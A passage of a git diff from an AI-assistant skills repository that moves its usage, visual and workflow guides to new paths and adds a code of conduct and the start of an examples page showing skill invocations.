-> "Use @brainstorming to design a payment flow, then apply @stripe-integration to implement it"
-
-**Why it's good:** You can chain skills together in a single prompt!
-
----
-
-## 🎓 Step 4: Your First Skill (Hands-On Tutorial)
-
-Let's actually use a skill right now. Follow these steps:
-
-### Scenario: You want to plan a new feature
-
-1. **Pick a skill:** Let's use `brainstorming` (from the "Essentials" bundle)
-
-2. **Open your AI assistant** (Claude Code, Cursor, etc.)
-
-3. **Type this exact prompt:**
-
- ```
- Use @brainstorming to help me design a user profile page for my app
- ```
-
-4. **Press Enter**
-
-5. **What happens next:**
- - The AI loads the brainstorming skill
- - It will start asking you structured questions (one at a time)
- - It will guide you through understanding, requirements, and design
- - You answer each question, and it builds a complete spec
-
-6. **Result:** You'll end up with a detailed design document—without writing a single line of code yet!
-
----
-
-## 🗂️ Step 5: Picking Your First Skills (Practical Advice)
-
-Don't try to use all 954+ skills! Here's a sensible approach:
-
-### Start with "The Essentials" (5 skills, everyone needs these)
-
-1. **`@brainstorming`** - Plan before you build
-2. **`@lint-and-validate`** - Keep code clean
-3. **`@git-pushing`** - Save work safely
-4. **`@systematic-debugging`** - Fix bugs faster
-5. **`@concise-planning`** - Organize tasks
-
-**How to use them:**
-
-- Before writing new code → `@brainstorming`
-- After writing code → `@lint-and-validate`
-- Before committing → `@git-pushing`
-- When stuck → `@systematic-debugging`
-
-### Then Add Role-Specific Skills (5-10 more)
-
-Find your role in [BUNDLES.md](BUNDLES.md) and pick 5-10 skills from that bundle.
-
-**Example for Web Developer:**
-
-- `@frontend-design`
-- `@react-best-practices`
-- `@tailwind-patterns`
-- `@seo-audit`
-
-**Example for Security Engineer:**
-
-- `@api-security-best-practices`
-- `@vulnerability-scanner`
-- `@ethical-hacking-methodology`
-
-### Finally, Add On-Demand Skills (as needed)
-
-Keep the [CATALOG.md](../CATALOG.md) open as reference. When you need something specific:
-
-> "I need to integrate Stripe payments"
-> → Search catalog → Find `@stripe-integration` → Use it!
-
----
-
-## 🔄 Complete Example: Building a Feature End-to-End
-
-Let's walk through a realistic scenario:
-
-### Task: "Add a blog to my Next.js website"
-
-#### Step 1: Plan (use @brainstorming)
-
-```
-You: Use @brainstorming to design a blog system for my Next.js site
-
-AI: [Asks structured questions about requirements]
-You: [Answer questions]
-AI: [Produces detailed design spec]
-```
-
-#### Step 2: Implement (use @nextjs-best-practices)
-
-```
-You: Use @nextjs-best-practices to scaffold the blog with App Router
-
-AI: [Creates file structure, sets up routes, adds components]
-```
-
-#### Step 3: Style (use @tailwind-patterns)
-
-```
-You: Use @tailwind-patterns to make the blog posts look modern
-
-AI: [Applies Tailwind styling with responsive design]
-```
-
-#### Step 4: SEO (use @seo-audit)
-
-```
-You: Use @seo-audit to optimize the blog for search engines
-
-AI: [Adds meta tags, sitemaps, structured data]
-```
-
-#### Step 5: Test & Deploy
-
-```
-You: Use @test-driven-development to add tests, then @vercel-deployment to deploy
-
-AI: [Creates tests, sets up CI/CD, deploys to Vercel]
-```
-
-**Result:** Professional blog built with best practices, without manually researching each step!
-
----
-
-## 🆘 Common Questions
-
-### "Which tool should I use? Claude Code, Cursor, Gemini?"
-
-**Any of them!** Skills work universally. Pick the tool you already use or prefer:
-
-- **Claude Code** - Best for terminal/CLI workflows
-- **Cursor** - Best for IDE integration
-- **Gemini CLI** - Best for Google ecosystem
-- **Codex CLI** - Best for OpenAI ecosystem
-
-### "Can I see all available skills?"
-
-Yes! Three ways:
-
-1. Browse [CATALOG.md](../CATALOG.md) (searchable list)
-2. Run `ls ~/.agent/skills/` (if installed there)
-3. Ask your AI: "What skills do you have for [topic]?"
-
-### "Do I need to restart my IDE after installing?"
-
-Usually no, but if your AI doesn't recognize a skill:
-
-1. Try restarting your IDE/CLI
-2. Check the installation path matches your tool
-3. Try the explicit path: `npx antigravity-awesome-skills --claude` (or `--cursor`, `--gemini`, etc.)
-
-### "Can I create my own skills?"
-
-Yes! Use the `@skill-creator` skill:
-
-```
-Use @skill-creator to help me build a custom skill for [your task]
-```
-
-### "What if a skill doesn't work as expected?"
-
-1. Check the skill's SKILL.md file directly: `~/.agent/skills/[skill-name]/SKILL.md`
-2. Read the description to ensure you're using it correctly
-3. [Open an issue](https://github.com/sickn33/antigravity-awesome-skills/issues) with details
-
----
-
-## 🎯 Quick Reference Card
-
-**Save this for quick lookup:**
-
-| Task | Skill to Use | Example Prompt |
-| ---------------- | ------------------------------ | --------------------------------------------------- |
-| Plan new feature | `@brainstorming` | `Use @brainstorming to design a login system` |
-| Review code | `@lint-and-validate` | `Use @lint-and-validate on src/app.js` |
-| Debug issue | `@systematic-debugging` | `Use @systematic-debugging to fix login error` |
-| Security audit | `@api-security-best-practices` | `Use @api-security-best-practices on my API routes` |
-| SEO check | `@seo-audit` | `Use @seo-audit on my landing page` |
-| React component | `@react-patterns` | `Use @react-patterns to build a form component` |
-| Deploy app | `@vercel-deployment` | `Use @vercel-deployment to ship this to production` |
-
----
-
-## 🚦 Next Steps
-
-Now that you understand how to use skills:
-
-1. ✅ **Try one skill right now** - Start with `@brainstorming` on any idea you have
-2. 📚 **Pick 3-5 skills** from your role's bundle in [BUNDLES.md](BUNDLES.md)
-3. 🔖 **Bookmark** [CATALOG.md](../CATALOG.md) for when you need something specific
-4. 🎯 **Try a workflow** from [WORKFLOWS.md](WORKFLOWS.md) for a complete end-to-end process
-
----
-
-## 💡 Pro Tips for Maximum Effectiveness
-
-### Tip 1: Start Every Feature with @brainstorming
-
-> Before writing code, use `@brainstorming` to plan. You'll save hours of refactoring.
-
-### Tip 2: Chain Skills in Order
-
-> Don't try to do everything at once. Use skills sequentially: Plan → Build → Test → Deploy
-
-### Tip 3: Be Specific in Prompts
-
-> Bad: "Use @react-patterns"
-> Good: "Use @react-patterns to build a modal component with animations"
-
-### Tip 4: Reference File Paths
-
-> Help the AI focus: "Use @security-auditor on routes/api/auth.js"
-
-### Tip 5: Combine Skills for Complex Tasks
-
-> "Use @brainstorming to design, then @test-driven-development to implement with tests"
-
----
-
-## 📞 Still Confused?
-
-If something still doesn't make sense:
-
-1. Check the [FAQ](FAQ.md)
-2. See [Real-World Examples](EXAMPLES.md)
-3. [Open a Discussion](https://github.com/sickn33/antigravity-awesome-skills/discussions)
-4. [File an Issue](https://github.com/sickn33/antigravity-awesome-skills/issues) to help us improve this guide!
-
-Remember: You're not alone! The whole point of this project is to make AI assistants easier to use. If this guide didn't help, let us know so we can fix it. 🙌
+This document moved to [`users/usage.md`](users/usage.md).
diff --git a/docs/VISUAL_GUIDE.md b/docs/VISUAL_GUIDE.md
index 5cffda8c..ebecba1e 100644
--- a/docs/VISUAL_GUIDE.md
+++ b/docs/VISUAL_GUIDE.md
@@ -1,504 +1,3 @@
-# Visual Quick Start Guide
+# Visual Guide
-**Learn by seeing!** This guide uses diagrams and visual examples to help you understand skills.
-
----
-
-## The Big Picture
-
-```
-┌─────────────────────────────────────────────────────────────┐
-│ YOU (Developer) │
-│ ↓ │
-│ "Help me build a payment system" │
-│ ↓ │
-├─────────────────────────────────────────────────────────────┤
-│ AI ASSISTANT │
-│ ↓ │
-│ Loads @stripe-integration skill │
-│ ↓ │
-│ Becomes an expert in Stripe payments │
-│ ↓ │
-│ Provides specialized help with code examples │
-└─────────────────────────────────────────────────────────────┘
-```
-
----
-
-## 📦 Repository Structure (Visual)
-
-```
-antigravity-awesome-skills/
-│
-├── 📄 README.md ← Overview & skill list
-├── 📄 GETTING_STARTED.md ← Start here! (NEW)
-├── 📄 CONTRIBUTING_GUIDE.md ← How to contribute (NEW)
-│
-├── 📁 skills/ ← All 179 skills live here
-│ │
-│ ├── 📁 brainstorming/
-│ │ └── 📄 SKILL.md ← Skill definition
-│ │
-│ ├── 📁 stripe-integration/
-│ │ ├── 📄 SKILL.md
-│ │ └── 📁 examples/ ← Optional extras
-│ │
-│ ├── 📁 react-best-practices/
-│ │ ├── 📄 SKILL.md
-│ │ ├── 📁 rules/
-│ │ └── 📄 README.md
-│ │
-│ └── ... (176 more skills)
-│
-├── 📁 scripts/ ← Validation & management
-│ ├── validate_skills.py
-│ └── generate_index.py
-│
-└── 📁 docs/ ← Documentation (NEW)
- ├── 📄 SKILL_ANATOMY.md ← How skills work
- └── 📄 QUICK_START_VISUAL.md ← This file!
-```
-
----
-
-## How Skills Work (Flow Diagram)
-
-```
-┌──────────────┐
-│ 1. INSTALL │ Copy skills to .agent/skills/
-└──────┬───────┘
- │
- ↓
-┌──────────────┐
-│ 2. INVOKE │ Type: @skill-name in AI chat
-└──────┬───────┘
- │
- ↓
-┌──────────────┐
-│ 3. LOAD │ AI reads SKILL.md file
-└──────┬───────┘
- │
- ↓
-┌──────────────┐
-│ 4. EXECUTE │ AI follows skill instructions
-└──────┬───────┘
- │
- ↓
-┌──────────────┐
-│ 5. RESULT │ You get specialized help!
-└──────────────┘
-```
-
----
-
-## 🎯 Skill Categories (Visual Map)
-
-```
- ┌─────────────────────────┐
- │ 179 AWESOME SKILLS │
- └────────────┬────────────┘
- │
- ┌────────────────────────┼────────────────────────┐
- │ │ │
- ┌────▼────┐ ┌──────▼──────┐ ┌──────▼──────┐
- │ CREATIVE│ │ DEVELOPMENT │ │ SECURITY │
- │ (10) │ │ (25) │ │ (50) │
- └────┬────┘ └──────┬──────┘ └──────┬──────┘
- │ │ │
- • UI/UX Design • TDD • Ethical Hacking
- • Canvas Art • Debugging • Metasploit
- • Themes • React Patterns • Burp Suite
- • SQLMap
- │ │ │
- └────────────────────────┼────────────────────────┘
- │
- ┌────────────────────────┼────────────────────────┐
- │ │ │
- ┌────▼────┐ ┌──────▼──────┐ ┌──────▼──────┐
- │ AI │ │ DOCUMENTS │ │ MARKETING │
- │ (30) │ │ (4) │ │ (23) │
- └────┬────┘ └──────┬──────┘ └──────┬──────┘
- │ │ │
- • RAG Systems • DOCX • SEO
- • LangGraph • PDF • Copywriting
- • Prompt Eng. • PPTX • CRO
- • Voice Agents • XLSX • Paid Ads
-```
-
----
-
-## Skill File Anatomy (Visual)
-
-```
-┌─────────────────────────────────────────────────────────┐
-│ SKILL.md │
-├─────────────────────────────────────────────────────────┤
-│ │
-│ ┌───────────────────────────────────────────────┐ │
-│ │ FRONTMATTER (Metadata) │ │
-│ │ ───────────────────────────────────────────── │ │
-│ │ --- │ │
-│ │ name: my-skill │ │
-│ │ description: "What this skill does" │ │
-│ │ --- │ │
-│ └───────────────────────────────────────────────┘ │
-│ │
-│ ┌───────────────────────────────────────────────┐ │
-│ │ CONTENT (Instructions) │ │
-│ │ ───────────────────────────────────────────── │ │
-│ │ │ │
-│ │ # Skill Title │ │
-│ │ │ │
-│ │ ## Overview │ │
-│ │ What this skill does... │ │
-│ │ │ │
-│ │ ## When to Use │ │
-│ │ - Use when... │ │
-│ │ │ │
-│ │ ## Instructions │ │
-│ │ 1. First step... │ │
-│ │ 2. Second step... │ │
-│ │ │ │
-│ │ ## Examples │ │
-│ │ ```javascript │ │
-│ │ // Example code │ │
-│ │ ``` │ │
-│ │ │ │
-│ └───────────────────────────────────────────────┘ │
-│ │
-└─────────────────────────────────────────────────────────┘
-```
-
----
-
-## Installation (Visual Steps)
-
-### Step 1: Clone the Repository
-```
-┌─────────────────────────────────────────┐
-│ Terminal │
-├─────────────────────────────────────────┤
-│ $ git clone https://github.com/ │
-│ sickn33/antigravity-awesome-skills │
-│ .agent/skills │
-│ │
-│ ✓ Cloning into '.agent/skills'... │
-│ ✓ Done! │
-└─────────────────────────────────────────┘
-```
-
-### Step 2: Verify Installation
-```
-┌─────────────────────────────────────────┐
-│ File Explorer │
-├─────────────────────────────────────────┤
-│ 📁 .agent/ │
-│ └── 📁 skills/ │
-│ ├── 📁 brainstorming/ │
-│ ├── 📁 stripe-integration/ │
-│ ├── 📁 react-best-practices/ │
-│ └── ... (176 more) │
-└─────────────────────────────────────────┘
-```
-
-### Step 3: Use a Skill
-```
-┌─────────────────────────────────────────┐
-│ AI Assistant Chat │
-├─────────────────────────────────────────┤
-│ You: @brainstorming help me design │
-│ a todo app │
-│ │
-│ AI: Great! Let me help you think │
-│ through this. First, let's │
-│ understand your requirements... │
-│ │
-│ What's the primary use case? │
-│ a) Personal task management │
-│ b) Team collaboration │
-│ c) Project planning │
-└─────────────────────────────────────────┘
-```
-
----
-
-## Example: Using a Skill (Step-by-Step)
-
-### Scenario: You want to add Stripe payments to your app
-
-```
-┌─────────────────────────────────────────────────────────────┐
-│ STEP 1: Identify the Need │
-├─────────────────────────────────────────────────────────────┤
-│ "I need to add payment processing to my app" │
-└─────────────────────────────────────────────────────────────┘
- ↓
-┌─────────────────────────────────────────────────────────────┐
-│ STEP 2: Find the Right Skill │
-├─────────────────────────────────────────────────────────────┤
-│ Search: "payment" or "stripe" │
-│ Found: @stripe-integration │
-└─────────────────────────────────────────────────────────────┘
- ↓
-┌─────────────────────────────────────────────────────────────┐
-│ STEP 3: Invoke the Skill │
-├─────────────────────────────────────────────────────────────┤
-│ You: @stripe-integration help me add subscription billing │
-└─────────────────────────────────────────────────────────────┘
- ↓
-┌─────────────────────────────────────────────────────────────┐
-│ STEP 4: AI Loads Skill Knowledge │
-├─────────────────────────────────────────────────────────────┤
-│ • Stripe API patterns │
-│ • Webhook handling │
-│ • Subscription management │
-│ • Best practices │
-└─────────────────────────────────────────────────────────────┘
- ↓
-┌─────────────────────────────────────────────────────────────┐
-│ STEP 5: Get Expert Help │
-├─────────────────────────────────────────────────────────────┤
-│ AI provides: │
-│ • Code examples │
-│ • Setup instructions │
-│ • Security considerations │
-│ • Testing strategies │
-└─────────────────────────────────────────────────────────────┘
-```
-
----
-
-## Finding Skills (Visual Guide)
-
-### Method 1: Browse by Category
-```
-README.md → Scroll to "Full Skill Registry" → Find category → Pick skill
-```
-
-### Method 2: Search by Keyword
-```
-Terminal → ls skills/ | grep "keyword" → See matching skills
-```
-
-### Method 3: Use the Index
-```
-Open skills_index.json → Search for keyword → Find skill path
-```
-
----
-
-## Creating Your First Skill (Visual Workflow)
-
-```
-┌──────────────┐
-│ 1. IDEA │ "I want to share my Docker knowledge"
-└──────┬───────┘
- │
- ↓
-┌──────────────┐
-│ 2. CREATE │ mkdir skills/docker-mastery
-└──────┬───────┘ touch skills/docker-mastery/SKILL.md
- │
- ↓
-┌──────────────┐
-│ 3. WRITE │ Add frontmatter + content
-└──────┬───────┘ (Use template from CONTRIBUTING_GUIDE.md)
- │
- ↓
-┌──────────────┐
-│ 4. TEST │ Copy to .agent/skills/
-└──────┬───────┘ Try: @docker-mastery
- │
- ↓
-┌──────────────┐
-│ 5. VALIDATE │ python3 scripts/validate_skills.py
-└──────┬───────┘
- │
- ↓
-┌──────────────┐
-│ 6. SUBMIT │ git commit + push + Pull Request
-└──────────────┘
-```
-
----
-
-## Skill Complexity Levels
-
-```
-┌─────────────────────────────────────────────────────────────┐
-│ SKILL COMPLEXITY │
-├─────────────────────────────────────────────────────────────┤
-│ │
-│ SIMPLE STANDARD COMPLEX │
-│ ────── ──────── ─────── │
-│ │
-│ • 1 file • 1 file • Multiple │
-│ • 100-200 words • 300-800 words • 800-2000 │
-│ • Basic structure • Full structure • Scripts │
-│ • No extras • Examples • Examples │
-│ • Best practices • Templates│
-│ • Docs │
-│ Example: Example: Example: │
-│ git-pushing brainstorming loki-mode │
-│ │
-└─────────────────────────────────────────────────────────────┘
-```
-
----
-
-## 🎯 Contribution Impact (Visual)
-
-```
-Your Contribution
- │
- ├─→ Improves Documentation
- │ │
- │ └─→ Helps 1000s of developers understand
- │
- ├─→ Creates New Skill
- │ │
- │ └─→ Enables new capabilities for everyone
- │
- ├─→ Fixes Bug/Typo
- │ │
- │ └─→ Prevents confusion for future users
- │
- └─→ Adds Example
- │
- └─→ Makes learning easier for beginners
-```
-
----
-
-## Learning Path (Visual Roadmap)
-
-```
-START HERE
- │
- ↓
-┌─────────────────┐
-│ Read │
-│ GETTING_STARTED │
-└────────┬────────┘
- │
- ↓
-┌─────────────────┐
-│ Try 2-3 Skills │
-│ in AI Assistant │
-└────────┬────────┘
- │
- ↓
-┌─────────────────┐
-│ Read │
-│ SKILL_ANATOMY │
-└────────┬────────┘
- │
- ↓
-┌─────────────────┐
-│ Study Existing │
-│ Skills │
-└────────┬────────┘
- │
- ↓
-┌─────────────────┐
-│ Create Simple │
-│ Skill │
-└────────┬────────┘
- │
- ↓
-┌─────────────────┐
-│ Read │
-│ CONTRIBUTING │
-└────────┬────────┘
- │
- ↓
-┌─────────────────┐
-│ Submit PR │
-└────────┬────────┘
- │
- ↓
- CONTRIBUTOR! 🎉
-```
-
----
-
-## 💡 Quick Tips (Visual Cheatsheet)
-
-```
-┌─────────────────────────────────────────────────────────────┐
-│ QUICK REFERENCE │
-├─────────────────────────────────────────────────────────────┤
-│ │
-│ 📥 INSTALL │
-│ git clone [repo] .agent/skills │
-│ │
-│ 🎯 USE │
-│ @skill-name [your request] │
-│ │
-│ 🔍 FIND │
-│ ls skills/ | grep "keyword" │
-│ │
-│ ✅ VALIDATE │
-│ python3 scripts/validate_skills.py │
-│ │
-│ 📝 CREATE │
-│ 1. mkdir skills/my-skill │
-│ 2. Create SKILL.md with frontmatter │
-│ 3. Add content │
-│ 4. Test & validate │
-│ 5. Submit PR │
-│ │
-│ 🆘 HELP │
-│ • GETTING_STARTED.md - Basics │
-│ • CONTRIBUTING_GUIDE.md - How to contribute │
-│ • SKILL_ANATOMY.md - Deep dive │
-│ • GitHub Issues - Ask questions │
-│ │
-└─────────────────────────────────────────────────────────────┘
-```
-
----
-
-## Success Stories (Visual Timeline)
-
-```
-Day 1: Install skills
- │
- └─→ "Wow, @brainstorming helped me design my app!"
-
-Day 3: Use 5 different skills
- │
- └─→ "These skills save me so much time!"
-
-Week 1: Create first skill
- │
- └─→ "I shared my expertise as a skill!"
-
-Week 2: Skill gets merged
- │
- └─→ "My skill is helping others! 🎉"
-
-Month 1: Regular contributor
- │
- └─→ "I've contributed 5 skills and improved docs!"
-```
-
----
-
-## Next Steps
-
-1. ✅ **Understand** the visual structure
-2. ✅ **Install** skills in your AI tool
-3. ✅ **Try** 2-3 skills from different categories
-4. ✅ **Read** CONTRIBUTING_GUIDE.md
-5. ✅ **Create** your first skill
-6. ✅ **Share** with the community
-
----
-
-**Visual learner?** This guide should help! Still have questions? Check out:
-- [GETTING_STARTED.md](../GETTING_STARTED.md) - Text-based intro
-- [SKILL_ANATOMY.md](SKILL_ANATOMY.md) - Detailed breakdown
-- [CONTRIBUTING_GUIDE.md](../CONTRIBUTING_GUIDE.md) - How to contribute
-
-**Ready to contribute?** You've got this! 💪
+This document moved to [`users/visual-guide.md`](users/visual-guide.md).
diff --git a/docs/WORKFLOWS.md b/docs/WORKFLOWS.md
index fca1ee7f..f54a2c75 100644
--- a/docs/WORKFLOWS.md
+++ b/docs/WORKFLOWS.md
@@ -1,215 +1,3 @@
-# Antigravity Workflows
+# Workflows
-> Workflow playbooks to orchestrate multiple skills with less friction.
-
-## What Is a Workflow?
-
-A workflow is a guided, step-by-step execution path that combines multiple skills for one concrete outcome.
-
-- **Bundles** tell you which skills are relevant for a role.
-- **Workflows** tell you how to use those skills in sequence to complete a real objective.
-
-If bundles are your toolbox, workflows are your execution playbook.
-
----
-
-## How to Use Workflows
-
-1. Install the repository once (`npx antigravity-awesome-skills`).
-2. Pick a workflow matching your immediate goal.
-3. Execute steps in order and invoke the listed skills in each step.
-4. Keep output artifacts at each step (plan, decisions, tests, validation evidence).
-
-You can combine workflows with bundles from [BUNDLES.md](BUNDLES.md) when you need broader coverage.
-
----
-
-## Workflow: Ship a SaaS MVP
-
-Build and ship a minimal but production-minded SaaS product.
-
-**Related bundles:** `Essentials`, `Full-Stack Developer`, `QA & Testing`, `DevOps & Cloud`
-
-### Prerequisites
-
-- Local repository and runtime configured.
-- Clear user problem and MVP scope.
-- Basic deployment target selected.
-
-### Steps
-
-1. **Plan the scope**
- - **Goal:** Define MVP boundaries and acceptance criteria.
- - **Skills:** [`@brainstorming`](../skills/brainstorming/), [`@concise-planning`](../skills/concise-planning/), [`@writing-plans`](../skills/writing-plans/)
- - **Prompt example:** `Usa @concise-planning per definire milestones e criteri di accettazione del mio MVP SaaS.`
-
-2. **Build backend and API**
- - **Goal:** Implement core entities, APIs, and auth baseline.
- - **Skills:** [`@backend-dev-guidelines`](../skills/backend-dev-guidelines/), [`@api-patterns`](../skills/api-patterns/), [`@database-design`](../skills/database-design/)
- - **Prompt example:** `Usa @backend-dev-guidelines per creare API e servizi del dominio billing.`
-
-3. **Build frontend**
- - **Goal:** Ship core user flow with clear UX states.
- - **Skills:** [`@frontend-developer`](../skills/frontend-developer/), [`@react-patterns`](../skills/react-patterns/), [`@frontend-design`](../skills/frontend-design/)
- - **Prompt example:** `Usa @frontend-developer per implementare onboarding, empty state e dashboard iniziale.`
-
-4. **Test and validate**
- - **Goal:** Cover critical user journeys before release.
- - **Skills:** [`@test-driven-development`](../skills/test-driven-development/), [`@browser-automation`](../skills/browser-automation/), `@go-playwright` (optional, Go stack)
- - **Prompt example:** `Usa @browser-automation per creare test E2E sui flussi signup e checkout.`
- - **Go note:** Se il progetto QA e tooling sono in Go, preferisci `@go-playwright`.
-
-5. **Ship safely**
- - **Goal:** Release with observability and rollback plan.
- - **Skills:** [`@deployment-procedures`](../skills/deployment-procedures/), [`@observability-engineer`](../skills/observability-engineer/)
- - **Prompt example:** `Usa @deployment-procedures per una checklist di rilascio con rollback.`
-
----
-
-## Workflow: Security Audit for a Web App
-
-Run a focused security review from scope definition to remediation validation.
-
-**Related bundles:** `Security Engineer`, `Security Developer`, `Observability & Monitoring`
-
-### Prerequisites
-
-- Explicit authorization for testing.
-- In-scope targets documented.
-- Logging and environment details available.
-
-### Steps
-
-1. **Define scope and threat model**
- - **Goal:** Identify assets, trust boundaries, and attack paths.
- - **Skills:** [`@ethical-hacking-methodology`](../skills/ethical-hacking-methodology/), [`@threat-modeling-expert`](../skills/threat-modeling-expert/), [`@attack-tree-construction`](../skills/attack-tree-construction/)
- - **Prompt example:** `Usa @threat-modeling-expert per mappare asset critici e trust boundaries della mia web app.`
-
-2. **Review auth and access control**
- - **Goal:** Detect account takeover and authorization flaws.
- - **Skills:** [`@broken-authentication`](../skills/broken-authentication/), [`@auth-implementation-patterns`](../skills/auth-implementation-patterns/), [`@idor-testing`](../skills/idor-testing/)
- - **Prompt example:** `Usa @idor-testing per verificare accessi non autorizzati su endpoint multitenant.`
-
-3. **Assess API and input security**
- - **Goal:** Uncover high-impact API and injection vulnerabilities.
- - **Skills:** [`@api-security-best-practices`](../skills/api-security-best-practices/), [`@api-fuzzing-bug-bounty`](../skills/api-fuzzing-bug-bounty/), [`@top-web-vulnerabilities`](../skills/top-web-vulnerabilities/)
- - **Prompt example:** `Usa @api-security-best-practices per audit endpoint auth, billing e admin.`
-
-4. **Harden and verify**
- - **Goal:** Convert findings into fixes and verify evidence of mitigation.
- - **Skills:** [`@security-auditor`](../skills/security-auditor/), [`@sast-configuration`](../skills/sast-configuration/), [`@verification-before-completion`](../skills/verification-before-completion/)
- - **Prompt example:** `Usa @verification-before-completion per provare che le mitigazioni sono effettive.`
-
----
-
-## Workflow: Build an AI Agent System
-
-Design and deliver a production-grade agent with measurable reliability.
-
-**Related bundles:** `Agent Architect`, `LLM Application Developer`, `Data Engineering`
-
-### Prerequisites
-
-- Narrow use case with measurable outcomes.
-- Access to model provider(s) and observability tooling.
-- Initial dataset or knowledge corpus.
-
-### Steps
-
-1. **Define target behavior and KPIs**
- - **Goal:** Set quality, latency, and failure thresholds.
- - **Skills:** [`@ai-agents-architect`](../skills/ai-agents-architect/), [`@agent-evaluation`](../skills/agent-evaluation/), [`@product-manager-toolkit`](../skills/product-manager-toolkit/)
- - **Prompt example:** `Usa @agent-evaluation per definire benchmark e criteri di successo del mio agente.`
-
-2. **Design retrieval and memory**
- - **Goal:** Build reliable retrieval and context architecture.
- - **Skills:** [`@llm-app-patterns`](../skills/llm-app-patterns/), [`@rag-implementation`](../skills/rag-implementation/), [`@vector-database-engineer`](../skills/vector-database-engineer/)
- - **Prompt example:** `Usa @rag-implementation per progettare pipeline di chunking, embedding e retrieval.`
-
-3. **Implement orchestration**
- - **Goal:** Implement deterministic orchestration and tool boundaries.
- - **Skills:** [`@langgraph`](../skills/langgraph/), [`@mcp-builder`](../skills/mcp-builder/), [`@workflow-automation`](../skills/workflow-automation/)
- - **Prompt example:** `Usa @langgraph per implementare il grafo agente con fallback e human-in-the-loop.`
-
-4. **Evaluate and iterate**
- - **Goal:** Improve weak points with a structured loop.
- - **Skills:** [`@agent-evaluation`](../skills/agent-evaluation/), [`@langfuse`](../skills/langfuse/), [`@kaizen`](../skills/kaizen/)
- - **Prompt example:** `Usa @kaizen per prioritizzare le correzioni sulle failure modes rilevate dai test.`
-
----
-
-## Workflow: QA and Browser Automation
-
-Create resilient browser automation with deterministic execution in CI.
-
-**Related bundles:** `QA & Testing`, `Full-Stack Developer`
-
-### Prerequisites
-
-- Test environments and stable credentials.
-- Critical user journeys identified.
-- CI pipeline available.
-
-### Steps
-
-1. **Prepare test strategy**
- - **Goal:** Scope journeys, fixtures, and execution environments.
- - **Skills:** [`@e2e-testing-patterns`](../skills/e2e-testing-patterns/), [`@test-driven-development`](../skills/test-driven-development/)
- - **Prompt example:** `Usa @e2e-testing-patterns per definire suite E2E minima ma ad alto impatto.`
-
-2. **Implement browser tests**
- - **Goal:** Build robust test coverage with stable selectors.
- - **Skills:** [`@browser-automation`](../skills/browser-automation/), `@go-playwright` (optional, Go stack)
- - **Prompt example:** `Usa @go-playwright per implementare browser automation in un progetto Go.`
-
-3. **Triage and harden**
- - **Goal:** Remove flaky behavior and enforce repeatability.
- - **Skills:** [`@systematic-debugging`](../skills/systematic-debugging/), [`@test-fixing`](../skills/test-fixing/), [`@verification-before-completion`](../skills/verification-before-completion/)
- - **Prompt example:** `Usa @systematic-debugging per classificare e risolvere le flakiness in CI.`
-
----
-
-## Workflow: Design a DDD Core Domain
-
-Model a complex domain coherently, then implement tactical and evented patterns only where justified.
-
-**Related bundles:** `Architecture & Design`, `DDD & Evented Architecture`
-
-### Prerequisites
-
-- Access to at least one domain expert or product owner proxy.
-- Current system context and integration landscape available.
-- Agreement on business goals and key domain outcomes.
-
-### Steps
-
-1. **Assess DDD fit and scope**
- - **Goal:** Decide whether full DDD, partial DDD, or simple modular architecture is appropriate.
- - **Skills:** [`@domain-driven-design`](../skills/domain-driven-design/), [`@architecture-decision-records`](../skills/architecture-decision-records/)
- - **Prompt example:** `Use @domain-driven-design to evaluate if full DDD is justified for our billing and fulfillment platform.`
-
-2. **Create strategic model**
- - **Goal:** Define subdomains, bounded contexts, and ubiquitous language.
- - **Skills:** [`@ddd-strategic-design`](../skills/ddd-strategic-design/)
- - **Prompt example:** `Use @ddd-strategic-design to classify subdomains and propose bounded contexts with ownership.`
-
-3. **Map context relationships**
- - **Goal:** Define upstream/downstream contracts and anti-corruption boundaries.
- - **Skills:** [`@ddd-context-mapping`](../skills/ddd-context-mapping/)
- - **Prompt example:** `Use @ddd-context-mapping to model Checkout, Billing, and Inventory interactions with clear contract ownership.`
-
-4. **Implement tactical model**
- - **Goal:** Encode invariants with aggregates, value objects, and domain events.
- - **Skills:** [`@ddd-tactical-patterns`](../skills/ddd-tactical-patterns/), [`@test-driven-development`](../skills/test-driven-development/)
- - **Prompt example:** `Use @ddd-tactical-patterns to design aggregates and invariants for order lifecycle transitions.`
-
-5. **Adopt evented patterns selectively**
- - **Goal:** Apply CQRS, event store, projections, and sagas only where complexity and scale require them.
- - **Skills:** [`@cqrs-implementation`](../skills/cqrs-implementation/), [`@event-store-design`](../skills/event-store-design/), [`@projection-patterns`](../skills/projection-patterns/), [`@saga-orchestration`](../skills/saga-orchestration/)
- - **Prompt example:** `Use @cqrs-implementation and @projection-patterns to scale read-side reporting without compromising domain invariants.`
-
----
-
-## Machine-Readable Workflows
-
-For tooling and automation, workflow metadata is available in [data/workflows.json](../data/workflows.json).
+This document moved to [`users/workflows.md`](users/workflows.md).
diff --git a/docs/contributors/community-guidelines.md b/docs/contributors/community-guidelines.md
new file mode 100644
index 00000000..513ec316
--- /dev/null
+++ b/docs/contributors/community-guidelines.md
@@ -0,0 +1,33 @@
+# Code of Conduct
+
+## Our Pledge
+
+In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone.
+
+## Our Standards
+
+Examples of behavior that contributes to creating a positive environment include:
+
+- Using welcoming and inclusive language
+- Being respectful of differing viewpoints and experiences
+- Gracefully accepting constructive criticism
+- Focusing on what is best for the community
+- Showing empathy towards other community members
+
+Examples of unacceptable behavior by participants include:
+
+- The use of sexualized language or imagery and unwelcome sexual attention or advances
+- Trolling, insulting/derogatory comments, and personal or political attacks
+- Public or private harassment
+- Publishing others' private information without explicit permission
+- Other conduct which could reasonably be considered inappropriate in a professional setting
+
+## Enforcement
+
+Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.1.
+
+[homepage]: https://www.contributor-covenant.org
diff --git a/docs/contributors/examples.md b/docs/contributors/examples.md
new file mode 100644
index 00000000..ca9b9936
--- /dev/null
+++ b/docs/contributors/examples.md
@@ -0,0 +1,760 @@
+# 💡 Real-World Examples - See Skills in Action
+
+**Learn by example!** This guide shows you real conversations using different skills.
+
+---
+
+## Example 1: Designing a Feature with @brainstorming
+
+### The Scenario
+You want to add a "dark mode" feature to your app, but you're not sure how to approach it.
+
+### The Conversation
+
+```
+You: @brainstorming I want to add dark mode to my React app
+
+AI: Great! Let me help you think through this. First, let me check your
+ current project structure...
+
+ [AI examines your files]
+
